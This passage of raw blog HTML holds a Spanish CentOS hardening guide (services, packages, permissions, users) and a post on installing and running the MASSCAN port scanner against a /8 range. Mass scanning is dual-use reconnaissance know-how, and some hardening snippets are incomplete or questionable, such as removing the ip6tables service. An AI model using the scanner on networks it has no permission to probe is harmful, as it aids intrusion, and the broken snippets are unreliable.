display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-end'></span></span><![endif]--><span style="font-family: Calibri, sans-serif; font-size: 11pt;"><o:p></o:p></span></div> <div class="MsoToc1"> <b>3<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Remoción de paquetes no usados</b><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">. </span><!--[if supportFields]><span style='color:windowtext;display:none;mso-hide:screen;text-decoration:none; text-underline:none'><span style='mso-element:field-begin'></span> PAGEREF _Toc382492868 \h <span style='mso-element:field-separator'></span></span><![endif]--><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">3<!--[if gte mso 9]><xml> <w:data>08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800360038000000</w:data> </xml><![endif]--></span><!--[if supportFields]><span style='color:windowtext; display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-end'></span></span><![endif]--><span style="font-family: Calibri, sans-serif; font-size: 11pt;"><o:p></o:p></span></div> <div class="MsoToc1"> <b>4<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Permisos de archivos del sistema</b><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">. </span><!--[if supportFields]><span style='color:windowtext; display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-begin'></span> PAGEREF _Toc382492869 \h <span style='mso-element:field-separator'></span></span><![endif]--><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">3<!--[if gte mso 9]><xml> <w:data>08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800360039000000</w:data> </xml><![endif]--></span><!--[if supportFields]><span style='color:windowtext; display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-end'></span></span><![endif]--><span style="font-family: Calibri, sans-serif; font-size: 11pt;"><o:p></o:p></span></div> <div class="MsoToc1"> <b>5<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Remoción de usuarios y grupos no necesarios</b><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">. </span><!--[if supportFields]><span style='color:windowtext;display:none;mso-hide:screen;text-decoration:none; text-underline:none'><span style='mso-element:field-begin'></span> PAGEREF _Toc382492870 \h <span style='mso-element:field-separator'></span></span><![endif]--><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">4<!--[if gte mso 9]><xml> <w:data>08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800370030000000</w:data> </xml><![endif]--></span><!--[if supportFields]><span style='color:windowtext; display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-end'></span></span><![endif]--><span style="font-family: Calibri, sans-serif; font-size: 11pt;"><o:p></o:p></span></div> <div class="MsoToc1"> <b>6<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Hardening de Sysctl.conf</b><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;"> </span><!--[if supportFields]><span style='color:windowtext;display:none;mso-hide:screen;text-decoration:none; text-underline:none'><span style='mso-element:field-begin'></span> PAGEREF _Toc382492871 \h <span style='mso-element:field-separator'></span></span><![endif]--><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">5<!--[if gte mso 9]><xml> <w:data>08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800370031000000</w:data> </xml><![endif]--></span><!--[if supportFields]><span style='color:windowtext; display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-end'></span></span><![endif]--><span style="font-family: Calibri, sans-serif; font-size: 11pt;"><o:p></o:p></span></div> <div class="MsoToc1"> <b>7<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Hardening de Apache</b></div> <div class="MsoToc1"> <b>8<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Hardening de Nginx</b><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">. </span><!--[if supportFields]><span style='color:windowtext;display:none;mso-hide:screen;text-decoration:none; text-underline:none'><span style='mso-element:field-begin'></span> PAGEREF _Toc382492874 \h <span style='mso-element:field-separator'></span></span><![endif]--><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">9<!--[if gte mso 9]><xml> <w:data>08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800370034000000</w:data> </xml><![endif]--></span><!--[if supportFields]><span style='color:windowtext; display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-end'></span></span><![endif]--><span style="font-family: Calibri, sans-serif; font-size: 11pt;"><o:p></o:p></span></div> <div class="MsoToc1"> <b>9<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Hardening SSH</b></div> <div class="MsoToc1"> <b>10<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;"><span style="mso-tab-count: 1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span>Actualización de paquetes, Kernel y Sistema Operativo</b><a href="file:///C:/Users/Antony/Dropbox/MASA/Aseguramiento/Plantillas%20de%20aseguramiento/Plantilla%20de%20aseguramiento-CENTOS.docx#_Toc382492876"><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;"><span style="mso-tab-count: 1 dotted;">.. </span></span><!--[if supportFields]><span style='color:windowtext;display:none;mso-hide:screen;text-decoration:none; text-underline:none'><span style='mso-element:field-begin'></span> PAGEREF _Toc382492876 \h <span style='mso-element:field-separator'></span></span><![endif]--><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">14<!--[if gte mso 9]><xml> <w:data>08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800370036000000</w:data> </xml><![endif]--></span><!--[if supportFields]><span style='color:windowtext; display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-end'></span></span><![endif]--></a><span style="font-family: &quot;Calibri&quot;,&quot;sans-serif&quot;; font-size: 11.0pt; font-weight: normal; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &quot;Times New Roman&quot;; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: &quot;Times New Roman&quot;; mso-fareast-language: ES-CO; mso-fareast-theme-font: minor-fareast; mso-hansi-theme-font: minor-latin;"><o:p></o:p></span></div> <div class="MsoToc1"> <b><br /></b></div> <div class="MsoToc1"> <b><br /></b></div> <div class="MsoToc1"> <b><br /></b></div> <div class="MsoToc1"> <b>1<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Introducción</b><span class="Apple-tab-span" style="white-space: pre;"><b> </b></span></div> <div class="MsoToc1" style="text-align: justify;"> El Hardening o aseguramiento es el proceso de configuración de seguridad de sistemas, para reducir la mayor cantidad de riesgos y minimizar la cantidad de vulnerabilidades sobre dichos sistemas.</div> <div class="MsoToc1" style="text-align: justify;"> Esta técnica es compuesta por un conjunto de acciones para reforzar al máximo posible la seguridad de los servidores y así protegerlos contra los ataques, cerrando brechas de seguridad y asegurando los controles de acceso.&nbsp;</div> <div class="MsoToc1"> </div> <div class="MsoToc1" style="text-align: justify;"> Este proceso incluye la evaluación de la arquitectura de seguridad del servidor y la auditoria de la configuración de sus sistemas con el fin de desarrollar e implementar procedimientos de consolidación para asegurar sus recursos críticos.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b style="text-align: start;">2<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Desactivar servicios no necesarios</b></div> <div style="text-align: justify;"> <span style="text-align: start;"></span><br /> <div style="text-align: justify;"> <span style="text-align: start;">Este procedimiento permite determinar si se desea que un servicio se inicie o no automáticamente después de iniciado (boot) el sistema operativo.</span><br /> <span style="text-align: start;"><br /></span> <span style="text-align: start;">Revisamos los servicios que están corriendo y enlistamos todos los servicios que se inician con chkconfig</span><br /> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><pre style="border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 11px; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; width: 636.671875px;"><span id="lnum1" style="color: #606060;"> 1:</span> <span style="color: blue;">netstat -putan | grep listen</span></pre> </pre> <pre style="background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><pre style="border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 11px; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; width: 636.671875px;"><span id="lnum1" style="color: #606060;"> 2:</span> <span style="color: blue;">chkconfig --list</span></pre> </pre> <div style="color: black; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> <!--CRLF-- ><pre style="BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: ’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; PADDING-TOP: 0px"><span style="COLOR: #606060" id="lnum3" > 3:</span> } </pre> <!--CRLF--></div> </div> </div> <div style="text-align: justify;"> <span style="text-align: start;">Para deshabilitarlos, utilizaremos el comando chkconfig:</span></div> <span style="text-align: start;"> </span> <br /> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><span style="text-align: start;"><span id="lnum1" style="color: #606060;"> 1:</span> <span style="color: blue;">chkconfig --level off</span></span></pre> <div style="color: black;"> <!--CRLF-- ><pre style="BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: ’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; PADDING-TOP: 0px"><span style="COLOR: #606060" id="lnum3" > 3:</span> } </pre> <!--CRLF--></div> </div> </div> <span style="text-align: start;"> </span> <br /> <div style="text-align: justify;"> <span style="text-align: start;">Es muy importante determinar el runlevel de arranque del sistema</span></div> <span style="text-align: start;"> </span> <br /> <div style="text-align: justify;"> <span style="text-align: start;">si no se desea especificar el runlevel puede deshabilitarlo directamente con:</span></div> <span style="text-align: start;"> </span> </div> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><span style="color: black;"><span id="lnum1" style="color: #606060;"> 1:</span> </span><span style="color: blue;">chkconfig --del ip6tables</span></pre> <div style="color: black;"> <!--CRLF-- ><pre style="BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: ’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; PADDING-TOP: 0px"><span style="COLOR: #606060" id="lnum3" > 3:</span> } </pre> <!--CRLF--></div> </div> </div> </div> <br /> <b>3<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Remoción de paquetes no usados</b><br /> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> La gestión de paquetes se realiza de una manera más detallada, tomando en cuenta algunos conceptos que son considerados como la procedencia del paquete, servidores dedicados de paquetes (repositorios) y dependencias.Para remover los paquetes debemos hacer uso del gestor con que fue instalado si fue por RPM o YUM.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Ejemplo con YUM:</div> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><span style="color: black;"><span id="lnum1" style="color: #606060;"> 1:</span> </span><span style="color: blue;">yum remove nmap</span></pre> <div style="color: black;"> <!--CRLF-- ><pre style="BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: ’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; PADDING-TOP: 0px"><span style="COLOR: #606060" id="lnum3" > 3:</span> } </pre> <!--CRLF--></div> </div> </div> <div style="text-align: justify;"> Ejemplo con RPM:<span class="Apple-tab-span" style="white-space: pre;"> </span></div> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><span style="color: black;"><span id="lnum1" style="color: #606060;"> 1:</span> </span><span style="color: blue;">rpm -e ftp-0.17-33.fc6</span></pre> <div style="color: black;"> <!--CRLF-- ><pre style="BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: ’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; PADDING-TOP: 0px"><span style="COLOR: #606060" id="lnum3" > 3:</span> } </pre> <!--CRLF--></div> </div> </div> <div style="text-align: justify;"> <b style="text-align: start;">4<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Permisos de archivos del sistema</b><br /> <b style="text-align: start;"><br /></b> <span style="text-align: start;">En los sistemas operativos basados en UNIX cada elemento del sistema de archivos, como archivos, directorios, enlaces simbólicos, etc., tiene la característica de poseer permisos que lo ubican dentro del mismo. Éstos sirven como uno más de los niveles de seguridad del sistema operativo al impedir que cualquier usuario pueda leer, escribir, ejecutar o acceder a dichos archivos y directorios de manera arbitraria. Estos permisos vistos de manera básica son: <b>lectura (r, read)</b>, <b>escritura (w, write)</b> y <b>ejecución (x, execution)</b> y se agrupan en bloques<b> (rwx)</b> para 3 diferentes clases (usuario, grupo y otros).</span><br /> <span style="text-align: start;"><br /></span> <span style="text-align: start;">La asignación de permisos de acceso (de lectura, escritura y ejecución) pueden gestionarse a través de modos, los cuales consisten de combinaciones de números de tres dígitos (usuario, grupo y otros) y los mandatos <b>chmod</b> y <b>setfacl</b>.</span><br /> <span style="text-align: start;"><br /></span> <span style="text-align: start;">Es muy importante dar los permisos adecuados a nuestros archivos y carpetas. No usar <b>chmod 777 </b>para todos los casos que se requieran permisos.</span><br /> <span style="text-align: start;"><br /></span> <br /> <div style="text-align: start;"> No doy una recomendación como tal ya que los permisos difieren de acuerdo a su contenido y propietarios.</div> <div style="text-align: start;"> <b><br /></b></div> <div style="text-align: start;"> <b>5<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Remoción de usuarios y grupos no necesarios</b></div> <div style="text-align: start;"> <b><br /></b></div> <div style="text-align: start;"> La administración de usuarios y grupos solamente puede realizarlas el usuario root utilizando los comandos de gestión de usuarios. Las tareas y los comandos para realizarlas son:</div> <div style="text-align: start;"> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Creación de usuarios / useradd</b></div> <div style="text-align: start;"> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Modificación de usuarios / usermod</b></div> <div style="text-align: start;"> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Eliminación de usuarios / userdel</b></div> <div style="text-align: start;"> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Creación de grupos / groupadd</b></div> <div style="text-align: start;"> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Modificación de grupos / groupmod</b></div> <div style="text-align: start;"> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Eliminación de grupos / groupdel</b></div> <div style="text-align: start;"> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Añadir usuarios a un grupo / adduser</b></div> <div style="text-align: start;"> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>Quitar usuarios de un grupo / deluser</b></div> <div style="text-align: start;"> La idea de esta tarea es depurar los usuarios o grupos no usados o modificar los usuarios que no requieran shell.&nbsp;</div> <div style="text-align: start;"> <br /> Continuar leyendo<br /> <b><a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html" target="_blank">#Parte2</a></b><br /> <b><a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte3.html" target="_blank">#Parte3</a></b></div> </div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-42937551293675817812014-10-10T12:20:00.001-05:002014-10-10T12:59:50.787-05:00<div style="text-align: justify;"> hace un tiempo me encante por la velocidad de escaneo de esta herramienta hablo de <b>MASSCAN</b>&nbsp;un TCP Port Scanner, asi que hablaremos de su gran ventaja con las millones de herramientas que existen para este tema.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>MASSCAN</b>&nbsp;hasta el momento es el Port Scanner mas rapido que he utilizado, su velocidad de escaneo y respuesta es muy interesante ademas que no tiene nada que envidiar a <b>Nmap </b>en nada, los resultados que produce son muy similares a <b>Nmap, </b>pero internamente trabaja como&nbsp;<b><a href="https://zmap.io/" target="_blank">ZMap</a>&nbsp;</b>utilizando transmisión asíncrona. La principal diferencia es que es más rápido que estos otros escáneres. Además, es más flexible y permite intervalos de direcciones y rangos de puertos arbitrarios.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Según su creador <b>Rober Graham&nbsp;</b><a href="http://twitter.com/erratarob" style="background-color: white; color: #4d469c; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 16.7999992370605px; text-decoration: none;">(@ErrataRob)</a><b>&nbsp;MASSCAN&nbsp;</b>es capaz de escanear todo Internet en tan solo 3 minutos.</div> <div style="text-align: justify;"> Mediante un PC con un procesador de 4 núcleos y una tarjeta ethernet dual-port de 10gbs teóricamente puede transmitir 25 millones de paquetes por segundo lo que equivale a los 3 minutos.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> 10gbs de conexión muy difícil de tener en estos tiempos. pero igualmente supera en mucho en cuanto a velocidad sus homogéneos.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>Instalación en Maquina CentOS:</b></div> <div style="text-align: justify;"> debemos instalar los requisitos de la herramienta:</div> <ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;"> <li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> sudo yum -y install git gcc make libpcap libpcap-devel clang clang-devel</div> </li> </ol> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Nos descargamos e instalamos la herramienta</div> <ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;"> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> git clone https://github.com/robertdavidgraham/masscan</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> cd masscan</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> make -j</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> sudo cp bin/masscan /bin/masscan</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> cd ..</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> rm -rf masscan</div> </li> </ol> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Al ejecutar <b>MASSCAN </b>nos muestra en pantalla como usarlo</div> <div style="text-align: justify;"> <img src="https://imagizer.imageshack.us/v2/594x171q90/674/dUCMQw.png" /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> como vemos en la imagen anterior su uso es similar a <b>NMAP&nbsp;</b></div> <div style="text-align: justify;"> en la cual en el ejmplo se observa el escanear la direccion 10.0.0.0 con mascara 8 y sus 16 millones de direcciones:</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <span style="-webkit-text-stroke-width: 0px; color: black; font-family: 'Times New Roman'; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"></span></div> <table border="0" cellpadding="0" cellspacing="0" style="-webkit-text-stroke-width: 0px; font-family: 'Times New Roman'; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px;"><tbody> <tr><td><tt><span style="color: black; font-size: large;">Network:&nbsp;&nbsp;&nbsp;&nbsp;</span></tt></td><td><tt><span style="color: blue; font-size: large;">10.0.0.0/8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></tt></td><td><tt><span style="color: #009900; font-size: large;">0<span style="color: #909090;">0001010<span style="color: black;">.<span style="color: #909090;">&nbsp;00000000<span style="color: black;">.<span style="color: #909090;">00000000<span style="color: black;">.<span style="color: #909090;">00000000<span style="color: black;"></span></span></span></span></span></span></span></span></span></tt></td></tr> <tr><td><tt><span style="color: black; font-size: large;">HostMin:</span></tt></td><td><tt><span style="color: blue; font-size: large;">10.0.0.1</span></tt></td><td><tt><span style="color: #909090; font-size: large;">00001010<span style="color: black;">.<span style="color: #909090;">&nbsp;00000000<span style="color: black;">.<span 